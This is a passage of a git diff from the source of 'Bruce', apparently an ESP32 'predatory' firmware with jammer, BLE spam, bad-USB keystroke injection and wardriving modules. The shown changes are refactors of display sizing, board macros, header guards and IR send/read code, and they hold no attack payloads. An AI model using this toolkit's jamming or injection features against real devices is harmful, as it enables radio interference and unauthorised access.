tft.drawPixel(0,0,TFT_BLACK);
- tft.drawCentreString("Bruce", WIDTH / 2, 10, SMOOTH_FONT);
+ tft.drawCentreString("Bruce", tftWidth / 2, 10, SMOOTH_FONT);
tft.setTextSize(FP);
- tft.drawCentreString(BRUCE_VERSION, WIDTH / 2, 25, SMOOTH_FONT);
+ tft.drawCentreString(BRUCE_VERSION, tftWidth / 2, 25, SMOOTH_FONT);
tft.setTextSize(FM);
- tft.drawCentreString("PREDATORY FIRMWARE", WIDTH / 2, HEIGHT+2, SMOOTH_FONT); // will draw outside the screen on non touch devices
+ tft.drawCentreString("PREDATORY FIRMWARE", tftWidth / 2, tftHeight+2, SMOOTH_FONT); // will draw outside the screen on non touch devices
}
/*********************************************************************
@@ -168,7 +177,7 @@ void boot_screen_anim() {
while(millis()2000) && !drawn) {
- tft.fillRect(0,45,WIDTH,HEIGHT-45,bruceConfig.bgColor);
+ tft.fillRect(0,45,tftWidth,tftHeight-45,bruceConfig.bgColor);
if(boot_img > 0 && !drawn) {
tft.fillScreen(bruceConfig.bgColor);
if(boot_img==1) { showJpeg(SD,"/boot.jpg",0,0,true); Serial.println("Image from SD"); }
@@ -179,11 +188,11 @@ void boot_screen_anim() {
}
drawn=true;
}
- if(!boot_img && (millis()-i>2200) && (millis()-i)<2700) tft.drawRect(2*WIDTH/3,HEIGHT/2,2,2,bruceConfig.priColor);
- if(!boot_img && (millis()-i>2700) && (millis()-i)<2900) tft.fillRect(0,45,WIDTH,HEIGHT-45,bruceConfig.bgColor);
- if(!boot_img && (millis()-i>2900) && (millis()-i)<3400) tft.drawXBitmap(2*WIDTH/3 - 30 ,5+HEIGHT/2,bruce_small_bits, bruce_small_width, bruce_small_height,TFT_BLACK,bruceConfig.priColor);
- if(!boot_img && (millis()-i>3400) && (millis()-i)<3600) tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
- if(!boot_img && (millis()-i>3600)) tft.drawXBitmap((WIDTH-238)/2,(HEIGHT-133)/2,bits, bits_width, bits_height,TFT_BLACK,bruceConfig.priColor);
+ if(!boot_img && (millis()-i>2200) && (millis()-i)<2700) tft.drawRect(2*tftWidth/3,tftHeight/2,2,2,bruceConfig.priColor);
+ if(!boot_img && (millis()-i>2700) && (millis()-i)<2900) tft.fillRect(0,45,tftWidth,tftHeight-45,bruceConfig.bgColor);
+ if(!boot_img && (millis()-i>2900) && (millis()-i)<3400) tft.drawXBitmap(2*tftWidth/3 - 30 ,5+tftHeight/2,bruce_small_bits, bruce_small_width, bruce_small_height,TFT_BLACK,bruceConfig.priColor);
+ if(!boot_img && (millis()-i>3400) && (millis()-i)<3600) tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
+ if(!boot_img && (millis()-i>3600)) tft.drawXBitmap((tftWidth-238)/2,(tftHeight-133)/2,bits, bits_width, bits_height,TFT_BLACK,bruceConfig.priColor);
#endif
if(checkAnyKeyPress()) // If any key or M5 key is pressed, it'll jump the boot screen
{
@@ -196,8 +205,6 @@ void boot_screen_anim() {
// Clear splashscreen
tft.fillScreen(TFT_BLACK);
-
- // Clear splashscreen
tft.fillScreen(TFT_BLACK);
}
@@ -263,16 +270,19 @@ void setup() {
setup_gpio();
bruceConfig.bright=100; // theres is no value yet
- begin_tft();
+ #if defined(HAS_SCREEN)
+ tft.init();
+ #else
+ tft.begin();
+ #endif
begin_storage();
bruceConfig.fromFile();
- resetTftDisplay();
- tft.setRotation(bruceConfig.rotation);
- setBrightness(bruceConfig.bright);
-
+ begin_tft();
init_clock();
+ disableCore0WDT();
+
// Some GPIO Settings (such as CYD's brightness control must be set after tft and sdcard)
_post_setup_gpio();
// end of post gpio begin
@@ -293,7 +303,6 @@ void setup() {
delay(200);
previousMillis = millis();
- setBrightness(bruceConfig.bright);
if (bruceConfig.startupApp != "" && !startupApp.startApp(bruceConfig.startupApp)) {
bruceConfig.setStartupApp("");
@@ -316,7 +325,7 @@ void loop() {
// Interpreter must be ran in the loop() function, otherwise it breaks
// called by 'stack canary watchpoint triggered (loopTask)'
#if !defined(LITE_VERSION)
- #if !defined(CORE) && !defined(CORE2)
+ #if !defined(ARDUINO_M5STACK_CORE) && !defined(ARDUINO_M5STACK_CORE2)
if(interpreter_start) {
interpreter_start=false;
interpreter();
@@ -325,7 +334,7 @@ void loop() {
}
#endif
#endif
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
bruceConfig.fromFile();
@@ -338,7 +347,7 @@ void loop() {
}
if (redraw) {
- mainMenu.draw(float((float)HEIGHT/(float)135));
+ mainMenu.draw(float((float)tftHeight/(float)135));
clock_update=0; // forces clock drawing
redraw = false;
delay(REDRAW_DELAY);
diff --git a/src/modules/NRF24/nrf_common.cpp b/src/modules/NRF24/nrf_common.cpp
index e9c15eaa..bd083bb7 100644
--- a/src/modules/NRF24/nrf_common.cpp
+++ b/src/modules/NRF24/nrf_common.cpp
@@ -8,7 +8,7 @@ void nrf_info() {
tft.fillScreen(bruceConfig.bgColor);
tft.setTextSize(FM);
tft.setTextColor(TFT_RED, bruceConfig.bgColor);
- tft.drawCentreString("_Disclaimer_",WIDTH/2,10,1);
+ tft.drawCentreString("_Disclaimer_",tftWidth/2,10,1);
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
tft.setTextSize(FP);
tft.setCursor(15,33);
@@ -33,7 +33,7 @@ bool nrf_start() {
#elif CC1101_MOSI_PIN==SDCARD_MOSI
NRFSPI = &sdcardSPI;
NRFSPI->begin(NRF24_SCK_PIN,NRF24_MISO_PIN,NRF24_MOSI_PIN);
- //#elif defined(STICK_C_PLUS) || defined(STICK_C_PLUS2)
+ //#elif defined(ARDUINO_M5STICK_C_PLUS) || defined(ARDUINO_M5STICK_C_PLUS2)
// NRFSPI = &CC_NRF_SPI;
// NRFSPI->begin(NRF24_SCK_PIN,NRF24_MISO_PIN,NRF24_MOSI_PIN);
#else
diff --git a/src/modules/NRF24/nrf_common.h b/src/modules/NRF24/nrf_common.h
index b734505b..f0e67ba5 100644
--- a/src/modules/NRF24/nrf_common.h
+++ b/src/modules/NRF24/nrf_common.h
@@ -1,5 +1,5 @@
#include
-#include "../../core/globals.h"
+#include
//Define the Macros case it hasn't been declared
#ifndef NRF24_CE_PIN
diff --git a/src/modules/NRF24/nrf_jammer.cpp b/src/modules/NRF24/nrf_jammer.cpp
index a4b78226..80c2134b 100644
--- a/src/modules/NRF24/nrf_jammer.cpp
+++ b/src/modules/NRF24/nrf_jammer.cpp
@@ -1,6 +1,6 @@
#include "nrf_common.h"
#include "nrf_jammer.h"
-#include "core/globals.h"
+#include
#include "core/mykeyboard.h"
#include "core/display.h"
diff --git a/src/modules/NRF24/nrf_spectrum.cpp b/src/modules/NRF24/nrf_spectrum.cpp
index 5c6318bd..db349037 100644
--- a/src/modules/NRF24/nrf_spectrum.cpp
+++ b/src/modules/NRF24/nrf_spectrum.cpp
@@ -29,7 +29,7 @@ inline void powerDown(SPIClass &SSPI) {
}
// Scanning Channels
-#define _BW WIDTH/CHANNELS
+#define _BW tftWidth/CHANNELS
String scanChannels(SPIClass* SSPI, bool web) {
String result="{";
digitalWrite(NRF24_CE_PIN, LOW);
@@ -45,8 +45,8 @@ String scanChannels(SPIClass* SSPI, bool web) {
int level = (channel[i] > 125) ? 125 : channel[i]; // Clamp values
tft.drawFastVLine(i*_BW, 0, 125, (i % 8) ? TFT_BLACK : RGB565(25, 25, 25));
- tft.drawFastVLine(i*_BW, HEIGHT-(10+level), level, (i % 2 == 0) ? bruceConfig.priColor : TFT_DARKGREY); // Use green for even indices
- tft.drawFastVLine(i*_BW, 0, HEIGHT-(9+level), (i % 8) ? TFT_BLACK : RGB565(25, 25, 25));
+ tft.drawFastVLine(i*_BW, tftHeight-(10+level), level, (i % 2 == 0) ? bruceConfig.priColor : TFT_DARKGREY); // Use green for even indices
+ tft.drawFastVLine(i*_BW, 0, tftHeight-(9+level), (i % 8) ? TFT_BLACK : RGB565(25, 25, 25));
tft.drawFastVLine(i*_BW, 0, rpd ? 2 : 0, TFT_DARKGREY);
if(web) {
if(i>0) result+=",";
@@ -61,9 +61,9 @@ String scanChannels(SPIClass* SSPI, bool web) {
void nrf_spectrum(SPIClass* SSPI) {
tft.fillScreen(bruceConfig.bgColor);
tft.setTextSize(FP);
- tft.drawString("2.40Ghz",0,HEIGHT-LH);
- tft.drawCentreString("2.44Ghz", WIDTH/2,HEIGHT-LH,1);
- tft.drawRightString("2.48Ghz",WIDTH,HEIGHT-LH,1);
+ tft.drawString("2.40Ghz",0,tftHeight-LH);
+ tft.drawCentreString("2.44Ghz", tftWidth/2,tftHeight-LH,1);
+ tft.drawRightString("2.48Ghz",tftWidth,tftHeight-LH,1);
memset(channel,0,CHANNELS);
if(nrf_start()) {
diff --git a/src/modules/bjs_interpreter/interpreter.cpp b/src/modules/bjs_interpreter/interpreter.cpp
index ebf4d7bb..c04e7af5 100644
--- a/src/modules/bjs_interpreter/interpreter.cpp
+++ b/src/modules/bjs_interpreter/interpreter.cpp
@@ -69,22 +69,22 @@ static duk_ret_t native_exit(duk_context *ctx) {
static duk_ret_t native_getBoard(duk_context *ctx) {
String board = "Undefined";
-#if defined(STICK_C_PLUS)
+#if defined(ARDUINO_M5STICK_C_PLUS)
board = "StickCPlus";
#endif
-#if defined(STICK_C_PLUS2)
+#if defined(ARDUINO_M5STICK_C_PLUS2)
board = "StickCPlus2";
#endif
-#if defined(CARDPUTER)
+#if defined(ARDUINO_M5STACK_CARDPUTER)
board = "Cardputer";
#endif
-#if defined(CORE2)
+#if defined(ARDUINO_M5STACK_CORE2)
board = "Core2";
#endif
-#if defined(CORE)
+#if defined(ARDUINO_M5STACK_CORE)
board = "Core";
#endif
-#if defined(CORES3)
+#if defined(ARDUINO_M5STACK_CORES3)
board = "CoreS3/SE";
#endif
duk_push_string(ctx, board.c_str());
@@ -826,7 +826,7 @@ String readScriptFile(FS fs, String filename) {
}
// Code interpreter, must be called in the loop() function to work
bool interpreter() {
- tft.fillRect(0,0,WIDTH,HEIGHT,TFT_BLACK);
+ tft.fillRect(0,0,tftWidth,tftHeight,TFT_BLACK);
tft.setRotation(bruceConfig.rotation);
tft.setTextSize(FM);
tft.setTextColor(TFT_WHITE);
diff --git a/src/modules/ble/bad_ble.cpp b/src/modules/ble/bad_ble.cpp
index 88c62c73..66cfd99c 100644
--- a/src/modules/ble/bad_ble.cpp
+++ b/src/modules/ble/bad_ble.cpp
@@ -1,4 +1,4 @@
-#include "core/globals.h"
+#include
#include "core/sd_functions.h"
#include "core/main_menu.h"
#include "core/display.h"
@@ -169,7 +169,7 @@ void key_input_ble(FS fs, String bad_script) {
Kble.releaseAll();
- if (tft.getCursorY()>(HEIGHT-LH)) {
+ if (tft.getCursorY()>(tftHeight-LH)) {
tft.setCursor(0, 0);
tft.fillScreen(bruceConfig.bgColor);
}
@@ -388,7 +388,7 @@ void ble_keyboard() {
drawMainBorder();
tft.setCursor(10,28);
tft.println("BLE Keyboard:");
- tft.drawCentreString("> " + String(KB_HID_EXIT_MSG) + " <", WIDTH / 2, HEIGHT-20,1);
+ tft.drawCentreString("> " + String(KB_HID_EXIT_MSG) + " <", tftWidth / 2, tftHeight-20,1);
tft.setTextSize(FM);
String _mymsg="";
keyStroke key;
@@ -418,8 +418,8 @@ void ble_keyboard() {
if (keyStr.length() > 0) {
drawMainBorder(false);
- if(_mymsg.length()>keyStr.length()) tft.drawCentreString(" ", WIDTH / 2, HEIGHT / 2,1); // clears screen
- tft.drawCentreString("Pressed: " + keyStr, WIDTH / 2, HEIGHT / 2,1);
+ if(_mymsg.length()>keyStr.length()) tft.drawCentreString(" ", tftWidth / 2, tftHeight / 2,1); // clears screen
+ tft.drawCentreString("Pressed: " + keyStr, tftWidth / 2, tftHeight / 2,1);
_mymsg=keyStr;
}
delay(200);
diff --git a/src/modules/ble/ble_common.cpp b/src/modules/ble/ble_common.cpp
index 2b754f68..4ccdb473 100644
--- a/src/modules/ble/ble_common.cpp
+++ b/src/modules/ble/ble_common.cpp
@@ -1,5 +1,6 @@
#include "ble_common.h"
#include "core/mykeyboard.h"
+#include "core/utils.h"
#define SERVICE_UUID "1bc68b2a-f3e3-11e9-81b4-2a2ae2dbcce4"
#define CHARACTERISTIC_RX_UUID "1bc68da0-f3e3-11e9-81b4-2a2ae2dbcce4"
@@ -51,11 +52,11 @@ void ble_info(String name, String address, String signal)
{
drawMainBorder();
tft.setTextColor(bruceConfig.priColor);
- tft.drawCentreString("-=Information=-", WIDTH/2, 28,SMOOTH_FONT);
+ tft.drawCentreString("-=Information=-", tftWidth/2, 28,SMOOTH_FONT);
tft.drawString("Name: " + name, 10, 48);
tft.drawString("Adresse: " + address, 10, 66);
tft.drawString("Signal: " + String(signal) + " dBm", 10, 84);
- tft.drawCentreString(" Press " + String(BTN_ALIAS) + " to act",WIDTH/2,HEIGHT-20,1);
+ tft.drawCentreString(" Press " + String(BTN_ALIAS) + " to act",tftWidth/2,tftHeight-20,1);
delay(300);
while(!checkSelPress()) {
@@ -167,7 +168,7 @@ void disPlayBLESend()
if (deviceConnected)
{
if (!wasConnected) {
- tft.fillRect(10, 26, WIDTH-20, HEIGHT-36, TFT_BLACK);
+ tft.fillRect(10, 26, tftWidth-20, tftHeight-36, TFT_BLACK);
drawBLE_beacon(180, 28, TFT_BLUE);
tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
tft.setTextSize(FM);
@@ -176,7 +177,7 @@ void disPlayBLESend()
tft.printf("BLE Send\n");
tft.setTextSize(FM);
}
- tft.fillRect(10, 100, WIDTH-20, 28, TFT_BLACK);
+ tft.fillRect(10, 100, tftWidth-20, 28, TFT_BLACK);
tft.setCursor(12, 100);
if (senddata[0] % 4 == 0)
{
@@ -209,7 +210,7 @@ void disPlayBLESend()
{
if (wasConnected or first_run) {
first_run = false;
- tft.fillRect(10, 26, WIDTH-20, HEIGHT-36, TFT_BLACK);
+ tft.fillRect(10, 26, tftWidth-20, tftHeight-36, TFT_BLACK);
tft.setTextSize(2);
tft.setCursor(12, 50);
tft.setTextColor(TFT_RED);
diff --git a/src/modules/ble/ble_common.h b/src/modules/ble/ble_common.h
index faa4faf9..1067d9a3 100644
--- a/src/modules/ble/ble_common.h
+++ b/src/modules/ble/ble_common.h
@@ -1,3 +1,5 @@
+#ifndef __BLE_COMMON_H__
+#define __BLE_COMMON_H__
//#include
#include
@@ -8,10 +10,13 @@
#include
#include
-#include "core/globals.h"
+#include
#include "core/display.h"
void ble_test();
+
void ble_scan();
-void DisPlayBLESend();
+void disPlayBLESend();
+
+#endif
\ No newline at end of file
diff --git a/src/modules/ble/ble_spam.cpp b/src/modules/ble/ble_spam.cpp
index 582f43db..39ff9353 100644
--- a/src/modules/ble/ble_spam.cpp
+++ b/src/modules/ble/ble_spam.cpp
@@ -1,6 +1,6 @@
#include "core/display.h"
#include "core/mykeyboard.h"
-#include "core/globals.h"
+#include
#include "ble_spam.h"
// Bluetooth maximum transmit power
diff --git a/src/modules/fm/fm.cpp b/src/modules/fm/fm.cpp
index 3e7286c8..e83cf25d 100644
--- a/src/modules/fm/fm.cpp
+++ b/src/modules/fm/fm.cpp
@@ -1,4 +1,5 @@
#include "fm.h"
+#include "core/utils.h"
bool auto_scan = false;
bool is_running = false;
@@ -16,7 +17,7 @@ void set_frq(uint16_t frq) {
void fm_banner() {
tft.fillScreen(bruceConfig.bgColor);
tft.setCursor(10, 10);
- tft.drawCentreString("~== Bruce Radio ==~", WIDTH/2, 10, SMOOTH_FONT);
+ tft.drawCentreString("~== Bruce Radio ==~", tftWidth/2, 10, SMOOTH_FONT);
delay(500);
}
@@ -208,14 +209,14 @@ void fm_spectrum() {
noise_level = radio.currNoiseLevel;
if (noise_level != 0) {
// Clear the display area
- tft.fillRect(0, 40, WIDTH, HEIGHT, TFT_BLACK);
+ tft.fillRect(0, 40, tftWidth, tftHeight, TFT_BLACK);
// Draw waveform based on signal strength
for (size_t i = 0; i < noise_level; i++) {
- int lineHeight = map(noise_level, 0, SIGNAL_STRENGTH_THRESHOLD, 0, HEIGHT/2);
- int lineX = map(i, 0, noise_level - 1, 0, WIDTH - 1); // Map i to within the display width
+ int lineHeight = map(noise_level, 0, SIGNAL_STRENGTH_THRESHOLD, 0, tftHeight/2);
+ int lineX = map(i, 0, noise_level - 1, 0, tftWidth - 1); // Map i to within the display width
// Ensure drawing coordinates stay within the box bounds
- int startY = constrain(20 + HEIGHT / 2 - lineHeight / 2, 20, 20 + HEIGHT);
- int endY = constrain(20 + HEIGHT / 2 + lineHeight / 2, 20, 20 + HEIGHT);
+ int startY = constrain(20 + tftHeight / 2 - lineHeight / 2, 20, 20 + tftHeight);
+ int endY = constrain(20 + tftHeight / 2 + lineHeight / 2, 20, 20 + tftHeight);
tft.drawLine(lineX, startY, lineX, endY, TFT_PURPLE);
}
}
diff --git a/src/modules/fm/fm.h b/src/modules/fm/fm.h
index fab2bfcb..7b10f5f9 100644
--- a/src/modules/fm/fm.h
+++ b/src/modules/fm/fm.h
@@ -1,11 +1,21 @@
+#ifndef __FM_H__
+#define __FM_H__
+
#include
-#include "core/globals.h"
+#include
#include "core/display.h"
#include "core/mykeyboard.h"
void fm_live_run(bool reserved=true);
+
void fm_ta_run();
+
bool fm_begin();
+
bool fm_setup(bool traffic_alert=false, bool silent=false);
+
void fm_stop();
+
void fm_spectrum();
+
+#endif
\ No newline at end of file
diff --git a/src/modules/gps/gps_tracker.h b/src/modules/gps/gps_tracker.h
index ddcd24a4..882a90a9 100644
--- a/src/modules/gps/gps_tracker.h
+++ b/src/modules/gps/gps_tracker.h
@@ -6,10 +6,10 @@
* @date 2024-11-20
*/
-#ifndef GPS_TRACKER_H
-#define GPS_TRACKER_H
+#ifndef __GPS_TRACKER_H__
+#define __GPS_TRACKER_H__
-#include "core/globals.h"
+#include
#include
diff --git a/src/modules/gps/wardriving.h b/src/modules/gps/wardriving.h
index 49bcfcd7..9560cffc 100644
--- a/src/modules/gps/wardriving.h
+++ b/src/modules/gps/wardriving.h
@@ -6,10 +6,10 @@
* @note Updated: 2024-08-28 by Rennan Cockles (https://github.com/rennancockles)
*/
-#ifndef WAR_DRIVING_H
-#define WAR_DRIVING_H
+#ifndef __WAR_DRIVING_H__
+#define __WAR_DRIVING_H__
-#include "core/globals.h"
+#include
#include
#include
#include
diff --git a/src/modules/ir/TV-B-Gone.cpp b/src/modules/ir/TV-B-Gone.cpp
index 8b0eb57f..c439061e 100644
--- a/src/modules/ir/TV-B-Gone.cpp
+++ b/src/modules/ir/TV-B-Gone.cpp
@@ -15,7 +15,7 @@ Distributed under Creative Commons 2.5 -- Attribution & Share Alike
#include "core/settings.h"
#include "WORLD_IR_CODES.h"
#include "TV-B-Gone.h"
-
+#include "core/utils.h"
/*
Last Updated: 30 Mar. 2018
diff --git a/src/modules/ir/TV-B-Gone.h b/src/modules/ir/TV-B-Gone.h
index c72cfcac..a0494535 100644
--- a/src/modules/ir/TV-B-Gone.h
+++ b/src/modules/ir/TV-B-Gone.h
@@ -55,7 +55,7 @@ Distributed under Creative Commons 2.5 -- Attribution & Share Alike
#include
#include
#include
-#include "core/globals.h"
+#include
//void xmitCodeElement(uint16_t ontime, uint16_t offtime, uint8_t PWM_code );
void quickflashLEDx( uint8_t x );
diff --git a/src/modules/ir/custom_ir.cpp b/src/modules/ir/custom_ir.cpp
index e3a518c3..56dd6f4b 100644
--- a/src/modules/ir/custom_ir.cpp
+++ b/src/modules/ir/custom_ir.cpp
@@ -248,11 +248,11 @@ void otherIRcodes() {
if(fs == NULL) { // recent menu was selected
if(selected_code.filepath!="") { // a code was selected, switch on code type
if(selected_code.type=="raw") sendRawCommand(selected_code.frequency, selected_code.data);
- else if(selected_code.protocol.startsWith("NEC")) sendNECCommand(selected_code.address, selected_code.command);
+ else if(selected_code.protocol=="NEC") sendNECCommand(selected_code.address, selected_code.command);
else if(selected_code.protocol=="RC5") sendRC5Command(selected_code.address, selected_code.command);
else if(selected_code.protocol=="RC6") sendRC6Command(selected_code.address, selected_code.command);
else if(selected_code.protocol.startsWith("Samsung")) sendSamsungCommand(selected_code.address, selected_code.command);
- else if(selected_code.protocol.startsWith("SIRC")) sendSonyCommand(selected_code.address, selected_code.command);
+ else if(selected_code.protocol=="SIRC") sendSonyCommand(selected_code.address, selected_code.command);
else if(selected_code.protocol!="") sendDecodedCommand(selected_code.protocol, selected_code.data);
}
return;
@@ -328,9 +328,9 @@ void otherIRcodes() {
else if(codes[i].protocol.startsWith("RC5")) options.push_back({ codes[i].name.c_str(), [=](){ sendRC5Command(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
else if(codes[i].protocol.startsWith("RC6")) options.push_back({ codes[i].name.c_str(), [=](){ sendRC6Command(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
else if(codes[i].protocol.startsWith("Samsung")) options.push_back({ codes[i].name.c_str(), [=](){ sendSamsungCommand(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
- else if(codes[i].protocol.startsWith("SIRC")) options.push_back({ codes[i].name.c_str(), [=](){ sendSonyCommand(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
- else if(codes[i].protocol=="Panasonic") options.push_back({ codes[i].name.c_str(), [=](){ sendPanasonicCommand(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
+ else if(codes[i].protocol=="SIRC") options.push_back({ codes[i].name.c_str(), [=](){ sendSonyCommand(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
else if(codes[i].protocol!="" && codes[i].data!="") options.push_back({ codes[i].name.c_str(), [=](){ sendDecodedCommand(codes[i].protocol, codes[i].data); addToRecentCodes(codes[i]); }});
+ else if(codes[i].protocol=="Panasonic") options.push_back({ codes[i].name.c_str(), [=](){ sendPanasonicCommand(codes[i].address, codes[i].command); addToRecentCodes(codes[i]); }});
}
options.push_back({ "Main Menu" , [&](){ exit=true; }});
databaseFile.close();
@@ -355,10 +355,6 @@ void sendNECCommand(String address, String command) {
if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos);
first_zero_byte_pos = command.indexOf("00", 2);
if(first_zero_byte_pos!=-1) command = command.substring(0, first_zero_byte_pos);
-
- address.replace(" ", "");
- command.replace(" ", "");
-
uint16_t addressValue = strtoul(address.c_str(), nullptr, 16);
uint16_t commandValue = strtoul(command.c_str(), nullptr, 16);
uint64_t data = irsend.encodeNEC(addressValue, commandValue);
@@ -367,6 +363,7 @@ void sendNECCommand(String address, String command) {
digitalWrite(bruceConfig.irTx, LED_OFF);
}
+
void sendRC5Command(String address, String command) {
IRsend irsend(bruceConfig.irTx,true); // Set the GPIO to be used to sending the message.
irsend.begin();
@@ -383,8 +380,6 @@ void sendRC6Command(String address, String command) {
IRsend irsend(bruceConfig.irTx,true); // Set the GPIO to be used to sending the message.
irsend.begin();
displaySomething("Sending..");
- address.replace(" ", "");
- command.replace(" ", "");
uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
uint64_t data = irsend.encodeRC6(addressValue, commandValue);
@@ -398,8 +393,6 @@ void sendSamsungCommand(String address, String command) {
irsend.begin();
displaySomething("Sending..");
//uint64_t data = ((uint64_t)strtoul(address.c_str(), nullptr, 16) << 32) | strtoul(command.c_str(), nullptr, 16);
- address.replace(" ", "");
- command.replace(" ", "");
uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
uint64_t data = irsend.encodeSAMSUNG(addressValue, commandValue);
@@ -417,20 +410,11 @@ void sendSonyCommand(String address, String command) {
uint16_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16);
uint16_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16);
uint16_t addressValue2 = strtoul(address.substring(3,6).c_str(), nullptr, 16);
-
- uint16_t nbits = 12; // 12 bits (SIRC)
- if(addressValue2>0) nbits = 20; // 20 bits (SIRC20)
- else if(addressValue>0x1F) nbits = 15; // 15 bits (SIRC15)
-
- uint32_t data;
- if (nbits == 20) {
- data = irsend.encodeSony(nbits, commandValue, addressValue, addressValue2);
- } else {
- data = irsend.encodeSony(nbits, commandValue, addressValue);
- }
-
- // 1 initial + 2 repeat
- irsend.sendSony(data, nbits, 2);
+ uint16_t nbits = 12;
+ if(addressValue2>0) nbits = 20;
+ else if(addressValue>=0x80) nbits = 15;
+ uint32_t data = irsend.encodeSony(nbits,commandValue,addressValue);
+ irsend.sendSony(data,20,10);
Serial.println("Sent Sony Command");
digitalWrite(bruceConfig.irTx, LED_OFF);
}
@@ -463,8 +447,8 @@ void sendPanasonicCommand(String address, String command) {
bool sendDecodedCommand(String protocol, String value, String bits) {
// https://github.com/crankyoldgit/IRremoteESP8266/blob/master/examples/SmartIRRepeater/SmartIRRepeater.ino
-
- decode_type_t type = strToDecodeType(protocol.c_str());
+
+ decode_type_t type = strToDecodeType(protocol.c_str());
if(type == decode_type_t::UNKNOWN) return false;
uint16_t nbit_int = bits.toInt();
@@ -488,6 +472,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) {
success = irsend.send(type, state, state_pos); // safer
} else {
+
value.replace(" ", "");
uint64_t value_int = strtoull(value.c_str(), nullptr, 16);
diff --git a/src/modules/ir/custom_ir.h b/src/modules/ir/custom_ir.h
index 4886dca4..dabbb8aa 100644
--- a/src/modules/ir/custom_ir.h
+++ b/src/modules/ir/custom_ir.h
@@ -4,7 +4,7 @@
#include
#include
#include
-#include "core/globals.h"
+#include
diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp
index 27abb806..a3214b21 100644
--- a/src/modules/ir/ir_read.cpp
+++ b/src/modules/ir/ir_read.cpp
@@ -10,7 +10,7 @@
#include
#include
#include "ir_read.h"
-#include "core/globals.h"
+#include
#include "core/mykeyboard.h"
#include "core/display.h"
#include "core/sd_functions.h"
@@ -129,18 +129,26 @@ void IrRead::read_signal() {
_read_signal = true;
- // Always switches to RAW data, regardless of the decoding result
- raw = true;
+ // switch to raw mode if decoding failed
+ if(results.decode_type == decode_type_t::UNKNOWN ) {
+ Serial.println("signal decoding failed, switching to RAW mode");
+ //displayWarning("signal decoding failed, switching to RAW mode", true);
+ raw = true;
+ // TODO: show a dialog
+ // raw = yesNoDialog("decoding failed, save as RAW?");
+ }
display_banner();
- // Dump of signal details
- padprint("RAW Data Captured:");
- String raw_signal = parse_raw_signal();
- tft.println(raw_signal); // Shows the RAW signal on the display
- Serial.println(raw_signal); // Print RAW signal to serial monitor
-
+ // dump signal details
+ if(raw) {
+ padprint("HEX: RAW data");
+ } else {
+ padprint("HEX: 0x");
+ tft.println(results.value, HEX);
+ }
display_btn_options();
+
delay(500);
}
@@ -178,7 +186,7 @@ String IrRead::parse_state_signal() {
}
String IrRead::parse_raw_signal() {
-
+ // https://github.com/crankyoldgit/IRremoteESP8266/blob/master/examples/SmartIRRepeater/SmartIRRepeater.ino
rawcode = resultToRawArray(&results);
raw_data_len = getCorrectedRawLength(&results);
@@ -195,6 +203,7 @@ String IrRead::parse_raw_signal() {
return signal_code;
}
+
void IrRead::append_to_file_str(String btn_name) {
strDeviceContent += "name: " + btn_name + "\n";
@@ -303,32 +312,34 @@ void IrRead::save_device() {
FS* fs = nullptr;
- bool sdCardAvailable = setupSdCard();
- bool littleFsAvailable = checkLittleFsSize();
+ bool sdCardAvaible = setupSdCard();
+ bool littleFsAvaible = checkLittleFsSize();
- if (sdCardAvailable && littleFsAvailable) {
+ if (sdCardAvaible && littleFsAvaible) {
// ask to choose one
options = {
- {"SD Card", [&]() { fs=&SD; }},
+ {"SD Card", [&]() { fs=&SD; }},
{"LittleFS", [&]() { fs=&LittleFS; }},
};
delay(200);
loopOptions(options);
- } else if (sdCardAvailable) {
+ } else if (sdCardAvaible) {
fs=&SD;
- } else if (littleFsAvailable) {
+ } else if (littleFsAvaible) {
fs=&LittleFS;
};
- if (fs && write_file(filename, fs)) {
+ if (fs != nullptr && write_file(filename, fs)) {
displaySuccess("File saved to " + String((fs == &SD) ? "SD Card" : "LittleFS") + ".", true);
signals_read = 0;
strDeviceContent = "";
- } else displayError(fs ? "Error writing file." : "No storage available.", true);
+ } else {
+ if (fs == nullptr) {
+ displayError("No storage available.", true);
+ } else displayError("Error writing file.", true);
+ }
delay(1000);
-
- irrecv.resume();
begin();
}
diff --git a/src/modules/ir/ir_read.h b/src/modules/ir/ir_read.h
index 00180f86..9b6e715a 100644
--- a/src/modules/ir/ir_read.h
+++ b/src/modules/ir/ir_read.h
@@ -7,7 +7,7 @@
*/
#include
-#include "core/globals.h"
+#include
class IrRead {
diff --git a/src/modules/others/bad_usb.cpp b/src/modules/others/bad_usb.cpp
index a73e28ab..794c8a7e 100644
--- a/src/modules/others/bad_usb.cpp
+++ b/src/modules/others/bad_usb.cpp
@@ -1,5 +1,5 @@
-#include "core/globals.h"
+#include
#include "core/sd_functions.h"
#include "core/main_menu.h"
#include "core/display.h"
@@ -179,7 +179,7 @@ void key_input(FS fs, String bad_script) {
Kb.releaseAll();
- if (tft.getCursorY()>(HEIGHT-LH)) {
+ if (tft.getCursorY()>(tftHeight-LH)) {
tft.setCursor(0, 0);
tft.fillScreen(bruceConfig.bgColor);
}
@@ -369,8 +369,8 @@ void usb_keyboard() {
tft.setTextSize(2);
tft.setTextColor(bruceConfig.priColor);
tft.drawString("Keyboard Started",
- WIDTH / 2,
- HEIGHT / 2);
+ tftWidth / 2,
+ tftHeight / 2);
options = {
{"US Inter", [=]() { chooseKb(KeyboardLayout_en_US); }},
